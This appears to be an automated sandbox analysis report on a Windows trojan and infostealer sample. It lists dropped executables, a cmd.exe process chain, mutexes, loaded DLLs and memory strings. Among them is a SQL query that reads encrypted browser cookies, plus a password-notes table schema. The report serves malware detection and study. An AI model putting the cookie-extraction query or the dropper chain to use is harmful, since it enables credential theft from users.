Source: j7iUba2bki.exe, 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs j7iUba2bki.exe

Source: j7iUba2bki.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: j7iUba2bki.exe	Static PE information: Section: ZLIB complexity 0.9995236280487805
Source: j7iUba2bki.exe	Static PE information: Section: ZLIB complexity 0.99383544921875
Source: j7iUba2bki.exe	Static PE information: Section: ZLIB complexity 0.98974609375
Source: FCFBGIDAEH.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983884050546448
Source: FCFBGIDAEH.exe.0.dr	Static PE information: Section: mdtpgpto ZLIB complexity 0.9944085262697688
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983884050546448
Source: amadka[1].exe.0.dr	Static PE information: Section: mdtpgpto ZLIB complexity 0.9944085262697688
Source: explorti.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9983884050546448
Source: explorti.exe.7.dr	Static PE information: Section: mdtpgpto ZLIB complexity 0.9944085262697688
Source: random[1].exe.9.dr	Static PE information: Section: ZLIB complexity 0.9995236280487805
Source: random[1].exe.9.dr	Static PE information: Section: ZLIB complexity 0.99383544921875
Source: random[1].exe.9.dr	Static PE information: Section: ZLIB complexity 0.98974609375
Source: 8550c65a2f.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9995236280487805
Source: 8550c65a2f.exe.9.dr	Static PE information: Section: ZLIB complexity 0.99383544921875
Source: 8550c65a2f.exe.9.dr	Static PE information: Section: ZLIB complexity 0.98974609375

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/30@0/3

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Code function: 0_2_6C377030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C377030

Source: C:\Users\user\Desktop\j7iUba2bki.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5040:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\j7iUba2bki.exe

File created: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe

Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: j7iUba2bki.exe, 00000000.00000002.2247838666.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2233621208.000000001CFC3000.00000004.00000020.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2248691903.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: j7iUba2bki.exe, 00000000.00000002.2247838666.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2233621208.000000001CFC3000.00000004.00000020.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2248691903.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: j7iUba2bki.exe, 00000000.00000002.2247838666.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2233621208.000000001CFC3000.00000004.00000020.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2248691903.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: j7iUba2bki.exe, 00000000.00000002.2247838666.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2233621208.000000001CFC3000.00000004.00000020.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2248691903.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies;
Source: j7iUba2bki.exe, 00000000.00000002.2247838666.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2233621208.000000001CFC3000.00000004.00000020.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2248691903.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: j7iUba2bki.exe, 00000000.00000002.2247838666.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2233621208.000000001CFC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: j7iUba2bki.exe, 00000000.00000002.2247838666.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2233621208.000000001CFC3000.00000004.00000020.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2248691903.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: j7iUba2bki.exe, 00000000.00000003.2095303025.00000000230A1000.00000004.00000020.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000003.2075065919.00000000017B2000.00000004.00000020.00020000.00000000.sdmp, JDBGDHIIDAEBFHJJDBFI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: j7iUba2bki.exe, 00000000.00000002.2247838666.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2233621208.000000001CFC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: j7iUba2bki.exe, 00000000.00000002.2247838666.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2233621208.000000001CFC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: j7iUba2bki.exe	ReversingLabs: Detection: 52%
Source: j7iUba2bki.exe	Virustotal: Detection: 41%

Source: FCFBGIDAEH.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\j7iUba2bki.exe

File read: C:\Users\user\Desktop\j7iUba2bki.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\j7iUba2bki.exe "C:\Users\user\Desktop\j7iUba2bki.exe"
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\BKJEHCAKFB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe "C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe"
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe "C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe"	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\BKJEHCAKFB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe "C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe "C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe"	Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
